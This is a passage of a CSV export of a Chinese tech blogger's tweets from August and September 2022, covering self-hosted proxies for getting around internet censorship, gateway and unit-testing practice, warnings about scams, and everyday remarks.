04:29:11+00:00,129,8,11,,大家不要再私信问我，自建的教程在哪里了，就在截图里，仔细点就能找到……,,https://twitter.com/haoel/status/1566282202257580032\n1439,1566255105187360768,2022-09-04 02:41:31+00:00,9,0,0,,@Andrew081105 链接就在截图中啊,,https://twitter.com/haoel/status/1566255105187360768\n1440,1566240116036747264,2022-09-04 01:41:57+00:00,2054,483,152,,使用机场容易泄露隐私，还是自建安全一些…… https://t.co/UM6oTZRmIZ,,https://twitter.com/haoel/status/1566240116036747264\n1441,1566053533471739906,2022-09-03 13:20:32+00:00,0,0,0,,@farmer1992 对，我是Xbox搜的,,https://twitter.com/haoel/status/1566053533471739906\n1442,1565893586402435073,2022-09-03 02:44:58+00:00,0,0,1,,@farmer1992 没有找到啊,,https://twitter.com/haoel/status/1565893586402435073\n1443,1565670874778284034,2022-09-02 11:59:59+00:00,0,0,1,,@llsxyz k8s早就把docker废了,,https://twitter.com/haoel/status/1565670874778284034\n1444,1565670409877405696,2022-09-02 11:58:09+00:00,0,0,4,,@liemoshashou 苹果手机咋装？,,https://twitter.com/haoel/status/1565670409877405696\n1445,1565661351300591617,2022-09-02 11:22:09+00:00,85,7,4,,赞👍🏻 还在commit,,https://twitter.com/haoel/status/1565661351300591617\n1446,1565643533372907520,2022-09-02 10:11:21+00:00,2,0,2,,@3721_helper @ChuuniC 对！,,https://twitter.com/haoel/status/1565643533372907520\n1447,1565641312614764544,2022-09-02 10:02:31+00:00,7,0,3,,@ChuuniC @3721_helper 我记得有一年开大会时，搞了1-2天的白名单，全挂……,,https://twitter.com/haoel/status/1565641312614764544\n1448,1565640364895023104,2022-09-02 09:58:45+00:00,0,0,1,,@cloudwu 好，那我搞一个switch来体验一下,,https://twitter.com/haoel/status/1565640364895023104\n1449,1565636603577372672,2022-09-02 09:43:49+00:00,4,0,4,,@moeKiwiSAMA 你上数据中心建一个透明网关看看会不会被抓，哈,,https://twitter.com/haoel/status/1565636603577372672\n1450,1565636402410246145,2022-09-02 09:43:01+00:00,2,0,0,,@SandFeeg 参看：https://t.co/09hhMIU4th,\"[TextLink(text='haoel.github.io/#8-%E6%95%B0%E…', url='https://haoel.github.io/#8-%E6%95%B0%E6%8D%AE%E4%B8%AD%E5%BF%83%E9%80%8F%E6%98%8E%E7%BD%91%E5%85%B3', tcourl='https://t.co/09hhMIU4th', indices=(13, 36))]\",https://twitter.com/haoel/status/1565636402410246145\n1451,1565635651810107392,2022-09-02 09:40:02+00:00,34,0,3,,@3721_helper 开大会的时候，梯子不断，过两天看看,,https://twitter.com/haoel/status/1565635651810107392\n1452,1565635459690029056,2022-09-02 09:39:16+00:00,179,16,23,,\"解释一下：\n- 手机比电脑难是因为所有的VPN软件都被禁掉了\n- 4K视频需要非常优质的线路\n- 安卓苹果换区各有各的难度，如：苹果需要有海外的支付方式。\n- 奈飞/亚麻还好，看迪斯尼+要美国原生IP\n- 日版PS5 要路由器设置信道、要OpenNAT才能联网游戏，要特定的DNS才能上传截图\n- 云服务集群要建透明网关\",,https://twitter.com/haoel/status/1565635459690029056\n1453,1565632177521377282,2022-09-02 09:26:13+00:00,5,0,0,,@lingjieowl 不说这么明显才有味道,,https://twitter.com/haoel/status/1565632177521377282\n1454,1565630683329884160,2022-09-02 09:20:17+00:00,795,108,81,,\"上网难度：\n\n- 在电脑上访问Google ★\n- 在手机上访问Google ★ ★\n- 上Youtube看4K视频 ★ ★ ★ \n- 谷歌Play、苹果 iCloud 切美区 ★ ★ ★\n- 看Netflix/Amazon/Disney+流媒体 ★ ★ ★ ★\n- 日版 PS5 所有功能正常 ★ ★ ★ ★ ★\n- 云服务器使用官方源安装 k8s ★ ★ ★ ★ ★ ★\",,https://twitter.com/haoel/status/1565630683329884160\n1455,1565619385435271168,2022-09-02 08:35:23+00:00,12,0,1,,@bigzhu 你下次整个防护服，如果对方坚持戴口罩，你就穿上防护服……😂,,https://twitter.com/haoel/status/1565619385435271168\n1456,1565605906686955520,2022-09-02 07:41:50+00:00,5,0,1,,@CaliCastleMusic @skyuehu @RatherJie 我觉得没什么道理，看到已读又能怎么样？！如果因为已读可以提升效率，那么西方所有的公司都效率都不怎么样，包括开源社区……因为他们还在重度使用邮件……有时候我发现中国人太多这样的小聪明了，而没有大智慧……,,https://twitter.com/haoel/status/1565605906686955520\n1457,1565603407141883904,2022-09-02 07:31:54+00:00,3,0,3,,@zhyd007 @CaliCastleMusic @RatherJie Slack改进?! 难道不是GFW解禁？,,https://twitter.com/haoel/status/1565603407141883904\n1458,1565512244883906560,2022-09-02 01:29:39+00:00,218,36,9,,在推上又认识了两位朋友⁦@CaliCastleMusic⁩ ⁦和 @RatherJie⁩ ，这期《飞书 vs Slack 》谈的挺好的，虽然重来没见过，但是，有思考能力价值观相似的人总是会让我感到一见如故…… https://t.co/a0yPcQUT5z,\"[TextLink(text='kjsyp.fm/podcasts/43961…', url='https://kjsyp.fm/podcasts/43961/episodes/ep2-vs-slack', tcourl='https://t.co/a0yPcQUT5z', indices=(105, 128))]\",https://twitter.com/haoel/status/1565512244883906560\n1459,1565361506669146112,2022-09-01 15:30:40+00:00,151,10,6,,我很喜欢这句话：“世上有两种防“作恶”的手段，一种是通过审查方式，一种是通过信息透明的方式，哪一种更受欢迎是显而易见的……”,,https://twitter.com/haoel/status/1565361506669146112\n1460,1565319733338988545,2022-09-01 12:44:41+00:00,0,0,1,,@casaDePezVolado @lg19901213 算我理解错了，以后还是加个狗头,,https://twitter.com/haoel/status/1565319733338988545\n1461,1565312919130124289,2022-09-01 12:17:36+00:00,10,0,1,,@casaDePezVolado @lg19901213 这么一个简单的话你都能打错，我也是服了你……以后说话前要学会贴个引用，不要想当然……【罗翔：对于私权而言，只要法律没有禁止的，就是我们的权力，对于公权而言，只要法律没有授权的就是被禁止的】https://t.co/F4yq8sg9Dm,\"[TextLink(text='b23.tv/Szey73G', url='https://b23.tv/Szey73G', tcourl='https://t.co/F4yq8sg9Dm', indices=(123, 146))]\",https://twitter.com/haoel/status/1565312919130124289\n1462,1565286459342331904,2022-09-01 10:32:28+00:00,113,1,10,,@lg19901213 这条法律在哪里写着，你找出来我看看！不要普法不给引用嘛！,,https://twitter.com/haoel/status/1565286459342331904\n1463,1565281812015824896,2022-09-01 10:14:00+00:00,1,0,0,,@yjliang_my 不是，在公司初期的时候， Teams 还没有问世……,,https://twitter.com/haoel/status/1565281812015824896\n1464,1565264601897267200,2022-09-01 09:05:36+00:00,0,0,0,,@wayss000 谁啊？,,https://twitter.com/haoel/status/1565264601897267200\n1465,1565207271616811008,2022-09-01 05:17:48+00:00,44,1,2,,补充一下问题：商务做的一般，软件的交付成本较大，商业模式不清楚。过去一年花大量精力在调整，1）通过开源建社区提升影响力，输出技术理念，2）所有的产品全部转向云服务化（包括公有和私有），3）商业模式转向：从大客户转为中小企业的提供低门槛技术能力的同时并大规模降低云计算成本的方式。,,https://twitter.com/haoel/status/1565207271616811008\n1466,1565205710312316928,2022-09-01 05:11:36+00:00,4,0,1,,@zcsrs 我们的商务做的一般，软件的交付成本比较大，商业模式不是很清楚。过去一年花大量精力在调整，1）通过开源建社区提升一些影响力，2）所有的产品全部转向SaaS化，未来会直接在云上部署，直接使用，3）商业模式转向：从大客户转为中小企业的提供低门槛技术能力的同时并大规模降低云计算成本的方式。,,https://twitter.com/haoel/status/1565205710312316928\n1467,1565163398530158592,2022-09-01 02:23:28+00:00,412,60,21,,有个跟我年纪相仿的老年程序员，经历也比较丰富，在我司工作一年来的感受，他写了篇非常“知乎体”的文章——《在 MegaEase 工作是一种怎样的体验》https://t.co/9CCjQpcZI0 。让我有点高兴也有点惭愧，高兴的获得些认同；惭愧是，大家应该值得更好的回报……我得继续努力！,\"[TextLink(text='blog.localvar.cn/megaease', url='https://blog.localvar.cn/megaease', tcourl='https://t.co/9CCjQpcZI0', indices=(74, 97))]\",https://twitter.com/haoel/status/1565163398530158592\n1468,1565011649999736832,2022-08-31 16:20:28+00:00,3,0,0,,@3721_helper 可以把猫换成人,,https://twitter.com/haoel/status/1565011649999736832\n1469,1564924296136232960,2022-08-31 10:33:21+00:00,66,1,8,,说个轶事，我们给用户交付的产品会有相对比较完整和详细的文档。前段时间有朋友给我们介绍一个项目，说和我们产品很像，招标文档发过来一看，这份招标文件中的技术描述就是我们给另外一个用户的设计文档，一模一样，文字图片结构丝毫不差……然而，这两个用户完全是八杆子打不着在不同省市的行业……,,https://twitter.com/haoel/status/1564924296136232960\n1470,1564909944721137666,2022-08-31 09:36:20+00:00,1,0,1,,@Popbones 如果严谨的话，你是对的。但是如果要较真的话，dead loop 也是有人说的，可以 google 一下……,,https://twitter.com/haoel/status/1564909944721137666\n1471,1564906375641063425,2022-08-31 09:22:09+00:00,0,0,0,,@Singapore_Uncle 哈哈哈😄,,https://twitter.com/haoel/status/1564906375641063425\n1472,1564904584866238464,2022-08-31 09:15:02+00:00,7,0,0,,@yuxiyou 我也发现我的好多视频被滥用了，我也在清理那些营销号的……,,https://twitter.com/haoel/status/1564904584866238464\n1473,1564887445526630401,2022-08-31 08:06:55+00:00,16,0,4,,我们程序员圈也有 dead loop，对程序和电脑都有害，也是被禁止的……,,https://twitter.com/haoel/status/1564887445526630401\n1474,1564876092703330305,2022-08-31 07:21:49+00:00,7,0,1,,@zfx1988 说脏话不能叫学坏吧……这对坏的定义有点过于敏感了,,https://twitter.com/haoel/status/1564876092703330305\n1475,1564873677023223808,2022-08-31 07:12:13+00:00,205,5,78,,我家孩子从10岁时就开始说脏话了，傻逼，二逼，我操……当然，当着家长的面还有点不好意思说，我虽然有点不习惯，但是想想自己小的时候也一样，所以，只要不是口头禅，也就无所谓了，就当正常聊天中的语气词，直接略过了。现在孩子跟我聊天，有时候感跟个成年人似的，也不知道这样好不好……,,https://twitter.com/haoel/status/1564873677023223808\n1476,1564854639727505408,2022-08-31 05:56:34+00:00,1,0,0,,@disksing @yihong0618 https://t.co/0XljGdSAbc,,https://twitter.com/haoel/status/1564854639727505408\n1477,1564836119543308288,2022-08-31 04:42:58+00:00,11,1,1,,@yihong0618 段子两个，被人骂过n个，2020年时骂过一个，还算合格。https://t.co/Yool9BPfk4 https://t.co/xzY8bcNTUV,\"[TextLink(text='twitter.com/haoel/status/1…', url='https://twitter.com/haoel/status/1294254512803209216', tcourl='https://t.co/Yool9BPfk4', indices=(40, 63))]\",https://twitter.com/haoel/status/1564836119543308288\n1478,1564800477153628160,2022-08-31 02:21:20+00:00,26,8,1,,如何用 Easegress 的API编排一个telegram的翻译机器人的中文文档在这里：https://t.co/Vgiwd4e7DX ，B站视频：https://t.co/GNaPu53KgN 。另外这个机器人叫 EaseTranslate，大家可以在群里自行添加（需要管理员权限）。,\"[TextLink(text='mp.weixin.qq.com/s/yeMpolV8-rLp…', url='https://mp.weixin.qq.com/s/yeMpolV8-rLpHFrGHngwUA', tcourl='https://t.co/Vgiwd4e7DX', indices=(45, 68)), TextLink(text='bilibili.com/video/BV1yd4y1…', url='https://www.bilibili.com/video/BV1yd4y1A7x2', tcourl='https://t.co/GNaPu53KgN', indices=(75, 98))]\",https://twitter.com/haoel/status/1564800477153628160\n1479,1564572679465627648,2022-08-30 11:16:09+00:00,34,0,3,,夜色下的夕阳…… https://t.co/zpHVcCtX4a,,https://twitter.com/haoel/status/1564572679465627648\n1480,1564569593800056832,2022-08-30 11:03:54+00:00,95,0,10,,下班前看到的两张乌云压顶的夕阳余晖…… https://t.co/rP9vN4hOCu,,https://twitter.com/haoel/status/1564569593800056832\n1481,1564257838607638528,2022-08-29 14:25:05+00:00,36,6,2,,上世纪八十年代的公交车既视感……,,https://twitter.com/haoel/status/1564257838607638528\n1482,1564195379200946177,2022-08-29 10:16:54+00:00,40,0,7,,@3721_helper 要是你三天不交公粮就给你黄码，你看大家会不会超过……😂,,https://twitter.com/haoel/status/1564195379200946177\n1483,1563868043561668610,2022-08-28 12:36:11+00:00,4,0,0,,@xicilion 生快,,https://twitter.com/haoel/status/1563868043561668610\n1484,1563803057091072000,2022-08-28 08:17:57+00:00,0,0,1,,@winguse 带个充电宝。,,https://twitter.com/haoel/status/1563803057091072000\n1485,1563456573594148865,2022-08-27 09:21:09+00:00,61,4,12,,答案果然是5！ https://t.co/VMtkte3aeX,,https://twitter.com/haoel/status/1563456573594148865\n1486,1563368451527229440,2022-08-27 03:30:59+00:00,18,1,0,,看了一下我家的猫，没有鱼缸，只有纸箱，将就一下吧…… https://t.co/7CPrZLfWFj,,https://twitter.com/haoel/status/1563368451527229440\n1487,1563189292704247811,2022-08-26 15:39:04+00:00,0,0,1,,@MKXNXnt9N2FZJVM 你可以自己建个群加我们那个机器人试试……,,https://twitter.com/haoel/status/1563189292704247811\n1488,1563183846954135553,2022-08-26 15:17:26+00:00,148,22,2,,如何使用 Easegress  编排  一个 Telegram 的翻译机器人，做了一个演示和教学的视频。如果大家喜欢，帮助上github（https://t.co/YBHst55hbx）点个小星，谢谢。视频链接：https://t.co/w15fLiKhZO,\"[TextLink(text='github.com/megaease/easeg…', url='https://github.com/megaease/easegress', tcourl='https://t.co/YBHst55hbx', indices=(69, 92)), TextLink(text='youtu.be/ne0OvV1FmvA', url='https://youtu.be/ne0OvV1FmvA', tcourl='https://t.co/w15fLiKhZO', indices=(106, 129))]\",https://twitter.com/haoel/status/1563183846954135553\n1489,1563108086654521344,2022-08-26 10:16:23+00:00,0,0,1,,@AdaMeta1 你组织啊,,https://twitter.com/haoel/status/1563108086654521344\n1490,1563040848383582208,2022-08-26 05:49:12+00:00,0,0,1,,@xiaqingshan 不能通过这个rare case来判断啊，我经常失眼，长期睡不好觉啊……血压开始有点高了，还痛风……,,https://twitter.com/haoel/status/1563040848383582208\n1491,1563040314922676226,2022-08-26 05:47:05+00:00,560,11,34,,\"我发现居然给了很多人这么几个错觉：\n1）我已经润到海外了，而且还是美国\n2）我已经财富自由了，下一代都可以不用努力了\n这里澄清一下：\n1）我润到美国的只是我的数字生活，如：iCloud\n2）我财富并不自由，但人格比较独立自由\",,https://twitter.com/haoel/status/1563040314922676226\n1492,1563036295869304834,2022-08-26 05:31:07+00:00,0,0,1,,@xiaqingshan 23:30 左右睡的,,https://twitter.com/haoel/status/1563036295869304834\n1493,1563034907898572801,2022-08-26 05:25:36+00:00,10,0,3,,@kevinzhow 穷玩车，富玩表，…… 😂,,https://twitter.com/haoel/status/1563034907898572801\n1494,1563002660063571968,2022-08-26 03:17:28+00:00,3,0,2,,@ximigen 要是忘带手机或者手机没电了呢？😂,,https://twitter.com/haoel/status/1563002660063571968\n1495,1562997333784084483,2022-08-26 02:56:18+00:00,59,0,8,,居然睡到11:00现在才醒，多少年都没睡这么香了……天气凉了果然好睡觉。,,https://twitter.com/haoel/status/1562997333784084483\n1496,1562783116434870273,2022-08-25 12:45:04+00:00,3,0,0,,@disksing 指教不敢当，互相学习吧。,,https://twitter.com/haoel/status/1562783116434870273\n1497,1562780539374817282,2022-08-25 12:34:50+00:00,4,0,2,,@disksing 我没有在说你，用网关解决你们的那个问题是非常正确的事。我只是这样的事情你处理太多了，有感而发罢了……,,https://twitter.com/haoel/status/1562780539374817282\n1498,1562775554293518337,2022-08-25 12:15:01+00:00,2,0,0,,@flyhery 对的，就是摸石头过河。,,https://twitter.com/haoel/status/1562775554293518337\n1499,1562775312219267073,2022-08-25 12:14:04+00:00,3,0,0,,@wuvist 没错！你说得对！,,https://twitter.com/haoel/status/1562775312219267073\n1500,1562774958417137664,2022-08-25 12:12:39+00:00,99,8,6,,我对我所有的客户给出的技术方案，都是有据可考的，都是最佳实践，我从来不给客户稀奇古怪的方案，哪怕客户跟我讲各种理由：没时间，人手不够，历史包袱太重，其他团队不配合……我都会鼓励用户，这些借口都不能成为我们追求真理的理由……只要你想去，就一定能找到解，我解不了的就是你不想去……,,https://twitter.com/haoel/status/1562774958417137664\n1501,1562772901912141824,2022-08-25 12:04:29+00:00,4,0,1,,@wuvist 你这抬杠的逻辑不怎么样啊，人家不也是先得站在了 J2EE 这个巨人的肩膀上么？😂,,https://twitter.com/haoel/status/1562772901912141824\n1502,1562765226352599044,2022-08-25 11:33:59+00:00,573,65,53,,我发现有好多人或组织，无论是在做技术路线还是发展路线上，放着科学标准的阳光大道不走，硬是能给自己找出各种各样的理由来，去走羊肠小道……我是非常讨厌那些非标准、拍脑袋、架飞线、取巧的东西，因为，你不站在巨人的肩膀上，你不可能变得更高的……而那些科学、标准、规范的路正是巨人的肩膀……,,https://twitter.com/haoel/status/1562765226352599044\n1503,1562755749381517312,2022-08-25 10:56:19+00:00,0,0,1,,@ghosTM55 我靠，人生导师。,,https://twitter.com/haoel/status/1562755749381517312\n1504,1562752370307543042,2022-08-25 10:42:54+00:00,63,7,9,,这球一来一去的，带口罩防不住啊，应该穿防护服上场啊……,,https://twitter.com/haoel/status/1562752370307543042\n1505,1562672139412525056,2022-08-25 05:24:05+00:00,2,0,1,,@disksing tcp只是一个示例，用ip/port的方式肯定是不行的，我只是想说，应该在协议头里做事。当然，所有的正规方式都被你否掉了，那就只能是hack了……,,https://twitter.com/haoel/status/1562672139412525056\n1506,1562665142180986881,2022-08-25 04:56:17+00:00,1,0,1,,@BrotherSakura @disksing 因为这里用的是一种非常规的方式，不是业界的标准实践，是一种没有人用过的hack的方式，所以，这个担忧在客观上是存在的。just my 2 cents,,https://twitter.com/haoel/status/1562665142180986881\n1507,1562654413461676032,2022-08-25 04:13:39+00:00,6,1,2,,@disksing 我只是举个例子，比如：TCP协议上可以做反向验源IP，或是不同的用户用不同的连接端口等等。再底层的协议可以用VPN等。但是，如果不上TLS或是VPN的话，无论你怎么做，安全都会是一个很大的问题。现在的clusterid.root的方式，希望clusterid不能被猜到或截获，不然，就很轻松地唤醒别人的服务了……,,https://twitter.com/haoel/status/1562654413461676032\n1508,1562647754941218816,2022-08-25 03:47:12+00:00,17,1,3,,\"@songma 附议\nhttps://t.co/9OajNhyb2N\",\"[TextLink(text='twitter.com/haoel/status/1…', url='https://twitter.com/haoel/status/1289909385972465664', tcourl='https://t.co/9OajNhyb2N', indices=(11, 34))]\",https://twitter.com/haoel/status/1562647754941218816\n1509,1562647248638341122,2022-08-25 03:45:11+00:00,1,0,1,,@disksing 除了TLS和TCP底层的协议头外，我相信应该是不用碰MySQL的协议的。当然，这基于你要解决的X问题是，一个是要去掉为每个租户的LB，另一个要hold住链接，唤醒后端服务，解决这两个需求，应该走更好的方式。关于使用{clusterid}.root的方式来找用户集群的方式，这个可能会是一个非常严重的安全问题……,,https://twitter.com/haoel/status/1562647248638341122\n1510,1562593176644268032,2022-08-25 00:10:19+00:00,27,0,1,,@disksing 感觉搞了太多tricky的事情，应该直接使用mTLS。另，Gateway 最好做控制逻辑的事情，一般来说也就是协议头，协议体内的东西最好别动，透传就好，不然的话，就会像你现在这样，复杂度太大，代码很容易烂掉的，想想为什么公网LB不处理协议内容……,,https://twitter.com/haoel/status/1562593176644268032\n1511,1562405041306501121,2022-08-24 11:42:44+00:00,29,2,4,,@shajiabiji 穷则穷凶极恶，富则为富不仁,,https://twitter.com/haoel/status/1562405041306501121\n1512,1562394484125487105,2022-08-24 11:00:47+00:00,0,0,0,,@luch2046 这是两个完全不同的意思啊……,,https://twitter.com/haoel/status/1562394484125487105\n1513,1562335820085727234,2022-08-24 07:07:40+00:00,0,0,0,,@FultonShaw 1）有darwin-arm64的包，2）你可以自己编译！,,https://twitter.com/haoel/status/1562335820085727234\n1514,1562301553737756672,2022-08-24 04:51:31+00:00,0,0,0,,@MrZhouDan 自然是先关闭文件再删除的……,,https://twitter.com/haoel/status/1562301553737756672\n1515,1562293267563065344,2022-08-24 04:18:35+00:00,104,12,10,,转Linux粉……嘿嘿嘿…… [保命狗头] https://t.co/hji3aLlekP,,https://twitter.com/haoel/status/1562293267563065344\n1516,1562020309036781568,2022-08-23 10:13:57+00:00,0,0,0,,@Popbones @lidaobing 的确是黑魔法……,,https://twitter.com/haoel/status/1562020309036781568\n1517,1562014238796681216,2022-08-23 09:49:50+00:00,37,1,13,,这首《张三的歌》要不是推荐出来，我真的是基本都想不起来了…… https://t.co/iMwiRQK6mG,,https://twitter.com/haoel/status/1562014238796681216\n1518,1561988527352528896,2022-08-23 08:07:39+00:00,5,0,1,,@lidaobing 例如： https://t.co/lggT7kS2ag,\"[TextLink(text='github.com/megaease/easep…', url='https://github.com/megaease/easeprobe/blob/main/probe/http/http_test.go#L139', tcourl='https://t.co/lggT7kS2ag', indices=(15, 38))]\",https://twitter.com/haoel/status/1561988527352528896\n1519,1561983637955915776,2022-08-23 07:48:14+00:00,4,1,1,,\"@lidaobing 可以直接看EaseProbe单元测试的代码, ;-)\",,https://twitter.com/haoel/status/1561983637955915776\n1520,1561980960148561920,2022-08-23 07:37:35+00:00,1,0,1,,@Suuharsu 你还是自己用一下monkey patch吧,,https://twitter.com/haoel/status/1561980960148561920\n1521,1561977748880429057,2022-08-23 07:24:50+00:00,1,0,1,,@Suuharsu 可以人为制造错误，想要什么错误就有什么错误……,,https://twitter.com/haoel/status/1561977748880429057\n1522,1561977508957868032,2022-08-23 07:23:52+00:00,50,4,5,,这两天单元测试遇到的问题 https://t.co/TNha2s6OeT,,https://twitter.com/haoel/status/1561977508957868032\n1523,1561975071882690561,2022-08-23 07:14:11+00:00,585,80,18,,用了神器 Monkey Patch，把单元测试的Code Coverage 整到了100% （实际是99.51%）……在写整个单元测试的过程中，发现了好多Bug，也优化了好些代码设计，还发现了不同平台的各种坑（如：时区、文件操作等），以及golang的好些问题…… https://t.co/QaQO7YCLe9,,https://twitter.com/haoel/status/1561975071882690561\n1524,1561743373232324609,2022-08-22 15:53:30+00:00,4,0,1,,@LittleWooMars1 其实，年轻人被骗也是不懂网络和不懂科学……,,https://twitter.com/haoel/status/1561743373232324609\n1525,1561742888307896321,2022-08-22 15:51:35+00:00,4,0,2,,@DarcyShen 不是，是不是因为，老年人听不懂，不会操作……,,https://twitter.com/haoel/status/1561742888307896321\n1526,1561741730214424576,2022-08-22 15:46:58+00:00,225,26,30,,有些人不能理解，为什么年轻人会比老年人更好骗……你爱国热情高涨，骗子就来卖你国货，你疫情宅家网购，包裹感染需要配合销毁，有人能退你个税，有人能让你发财……诈骗金融理财、婚骗杀猪、仙人跳、刷单红包返利、币圈割韭菜、网游虚假交易、博彩、传销、爱国生意……哪个骗局不是为年轻人打造的？！,,https://twitter.com/haoel/status/1561741730214424576\n1527,1561639347761188864,2022-08-22 09:00:09+00:00,18,0,1,,@silence_631 考前漏题，考中代考作弊，考后判卷走关系……年年都在大量的发生……,,https://twitter.com/haoel/status/1561639347761188864\n1528,1561632152222965760,2022-08-22 08:31:33+00:00,0,0,0,,@vvttse https://t.co/x8LAmEdn3W,\"[TextLink(text='twitter.com/haoel/status/1…', url='https://twitter.com/haoel/status/1561631866637021184', tcourl='https://t.co/x8LAmEdn3W', indices=(8, 31))]\",https://twitter.com/haoel/status/1561632152222965760\n1529,1561631866637021184,2022-08-22 08:30:25+00:00,52,9,4,,25题应该是把小题的条件（local 变量)抄到总题里了（global 变量）…… https://t.co/wHtlw2ptub,,https://twitter.com/haoel/status/1561631866637021184\n1530,1561622959290085378,2022-08-22 07:55:01+00:00,91,19,8,,原来是把 bx 抄成了 6x …🤙🏻🤙🏻🤙🏻 https://t.co/t3MWo5DVAr,,https://twitter.com/haoel/status/1561622959290085378\n1531,1561612451078017025,2022-08-22 07:13:16+00:00,36,5,18,,查了一下，果然是年轻人最容易被骗。下图来源——《90后成电信诈骗重灾区，为什么年轻人越来越容易被骗？ 》https://t.co/snEz5lQiyv https://t.co/JksluEmjOi,\"[TextLink(text='sohu.com/a/496745280_11…', url='https://www.sohu.com/a/496745280_114778', tcourl='https://t.co/snEz5lQiyv', indices=(52, 75))]\",https://twitter.com/haoel/status/1561612451078017025\n1532,1561610666045149185,2022-08-22 07:06:10+00:00,182,28,22,,题目抄错，导致老师们解不出来，最后，老师发到学生群里让学生解……这个过程太真实了。让我很想看看24、25这两题是什么题？抄错成什么样了？ https://t.co/OGVPciFQYP,,https://twitter.com/haoel/status/1561610666045149185\n1533,1561606957873606656,2022-08-22 06:51:26+00:00,39,2,17,,在昆明街头看到的条幅，几乎满大街都是。我在想，好多新闻都让我总感觉到，在数量上年轻人比起老年人更容易上当受骗，而且数额更大，毕竟老年人会更保守。不知道有没有相应的统计数据支撑…… https://t.co/gELxFwBrLf,,https://twitter.com/haoel/status/1561606957873606656\n1534,1561594837517758465,2022-08-22 06:03:16+00:00,3,0,1,,@nzhlfred 我觉得你能读得懂我的原文，尤其是第三条……,,https://twitter.com/haoel/status/1561594837517758465\n1535,1561583361059000320,2022-08-22 05:17:40+00:00,608,90,48,,如果你接触的行业、圈子或是讲座，有如下几个特征，一般来说，你已经进入骗子圈了。 1）命题宏大。尤其是那些号称要颠覆世界，改变格局的，2）万能解。他们有一个产品或是技术可以解决各种问题，也就是找到了个“银弹”或是“准银弹”。3）快速发财。发财不是服务或产品，而是通过传销、金融和信仰……,,https://twitter.com/haoel/status/1561583361059000320\n1536,1561572673603248128,2022-08-22 04:35:12+00:00,1,0,1,,@blurmaggie1 @jolestar web3是银弹么？,,https://twitter.com/haoel/status/1561572673603248128\n1537,1561572466354319361,2022-08-22 04:34:23+00:00,1,0,1,,@jolestar @lidangzzz 请问你的硬盘用哪家的？,,https://twitter.com/haoel/status/1561572466354319361\n1538,1561571093613121536,2022-08-22 04:28:55+00:00,1,0,1,,@blurmaggie1 @jolestar 的确是，但是web3解决不了,,https://twitter.com/haoel/status/1561571093613121536\n1539,1561551157624856576,2022-08-22 03:09:42+00:00,49,1,8,,\"@jolestar web3, 在rare case上找存在感……😂\",,https://twitter.com/haoel/status/1561551157624856576\n1540,1561549601017958401,2022-08-22 03:03:31+00:00,0,0,1,,@lamps945 也是中年人吗？,,https://twitter.com/haoel/status/1561549601017958401\n1541,1561305161691119616,2022-08-21 10:52:12+00:00,2,0,0,,@tinyfool 是的，包括中文歌……,,https://twitter.com/haoel/status/1561305161691119616\n1542,1561304945172705280,2022-08-21 10:51:21+00:00,0,0,1,,@bigbagboom https://t.co/yVqbAgl2vS,\"[TextLink(text='music.youtube.com/watch?v=3n2uYC…', url='https://music.youtube.com/watch?v=3n2uYC2hh9o&feature=share', tcourl='https://t.co/yVqbAgl2vS', indices=(12, 35))]\",https://twitter.com/haoel/status/1561304945172705280\n1543,1561304222938738688,2022-08-21 10:48:29+00:00,3,0,4,,@thesis23647289 拉个5个人的群，YouTube 的会员一人一年几十元人民币,,https://twitter.com/haoel/status/1561304222938738688\n1544,1561302725454807040,2022-08-21 10:42:32+00:00,151,9,37,,音乐App最喜欢的就是 YouTube Music了，一方面是曲库很全。另一方面是，喜欢推荐系统。例如：我选一首香港的经典歌曲《铁血丹心》，然后就自动给我推了下面这些我那个年代的经典歌曲…… https://t.co/QBoH9Cdzgh,,https://twitter.com/haoel/status/1561302725454807040\n1545,1561269491429830658,2022-08-21 08:30:28+00:00,13,0,3,,@xiaoyuer6688 你花钱了你还怕啥？,,https://twitter.com/haoel/status/1561269491429830658\n1546,1561240027023024128,2022-08-21 06:33:23+00:00,13,0,4,,截个图 https://t.co/I5vqds8YSU,,https://twitter.com/haoel/status/1561240027023024128\n1547,1561238590843023360,2022-08-21 06:27:41+00:00,53,2,22,,豆瓣也挂了？只能翻墙访问了。墙内访问 error code: 004,,https://twitter.com/haoel/status/1561238590843023360\n1548,1561038726188261376,2022-08-20 17:13:29+00:00,1,0,1,,@baotiao 其实有的，带大点电池的……,,https://twitter.com/haoel/status/1561038726188261376\n1549,1561036807696891904,2022-08-20 17:05:52+00:00,8,0,3,,@baotiao 你没看到最后一句吗？这样的无线耳机就是这样的缺陷,,https://twitter.com/haoel/status/1561036807696891904\n1550,1561036591551750144,2022-08-20 17:05:00+00:00,12,0,1,,@XGH55193856 我有线的耳机可不就是用了10年了……,,https://twitter.com/haoel/status/1561036591551750144\n1551,1561035326369370112,2022-08-20 16:59:59+00:00,108,3,16,,事实上，第一个工程师跟我说，检测后是好的，但不建议修，建议再买一个。我问，你问题都没有找到，为啥建议我买个新的呢？万一是产品问题，那我为什么还要再买新的？然后说，就是用久了寿命到了，我问，多久算久？他跟我东拉西扯，我说，我对你不满意，问题都讲不清楚，还是换个人吧。第二个就招了……,,https://twitter.com/haoel/status/1561035326369370112\n1552,1561021773075738625,2022-08-20 16:06:07+00:00,382,43,138,,我的Airpods出问题了，右边耳机只能工作2-3分钟就断掉了，然后放盒子再拿出来又好了。到苹果店，告诉我应该是耳机上的电池到寿命了，这种无线的耳机的电池寿命基本上只有2-3年，而换耳机要500+，换耳机上电池要300+，所以，苹果工程师很实诚地跟我说，这种耳机就这缺陷，不建议你修也不建议买新的……,,https://twitter.com/haoel/status/1561021773075738625\n1553,1560834990270689280,2022-08-20 03:43:55+00:00,0,0,0,,@lostingz001 @kunwangmm Google,,https://twitter.com/haoel/status/1560834990270689280\n1554,1560612436318621698,2022-08-19 12:59:34+00:00,66,0,2,,今日晚霞（北京） https://t.co/MggZElVof3,,https://twitter.com/haoel/status/1560612436318621698\n1555,1560587961430712321,2022-08-19 11:22:18+00:00,16,0,2,,@work_wxh 居然在我背后……😂😂,,https://twitter.com/haoel/status/1560587961430712321\n1556,1560586479843217409,2022-08-19 11:16:25+00:00,43,6,15,,今天的网红拍照打卡点…… https://t.co/S3WRzkSNG2,,https://twitter.com/haoel/status/1560586479843217409\n1557,1560528884646367233,2022-08-19 07:27:33+00:00,35,0,10,,谁是邮件通知狂！ https://t.co/e4BfdQDDpC,,https://twitter.com/haoel/status/1560528884646367233\n1558,1560212794175238147,2022-08-18 10:31:32+00:00,27,1,1,,这个OCR的识别，还是很不错的 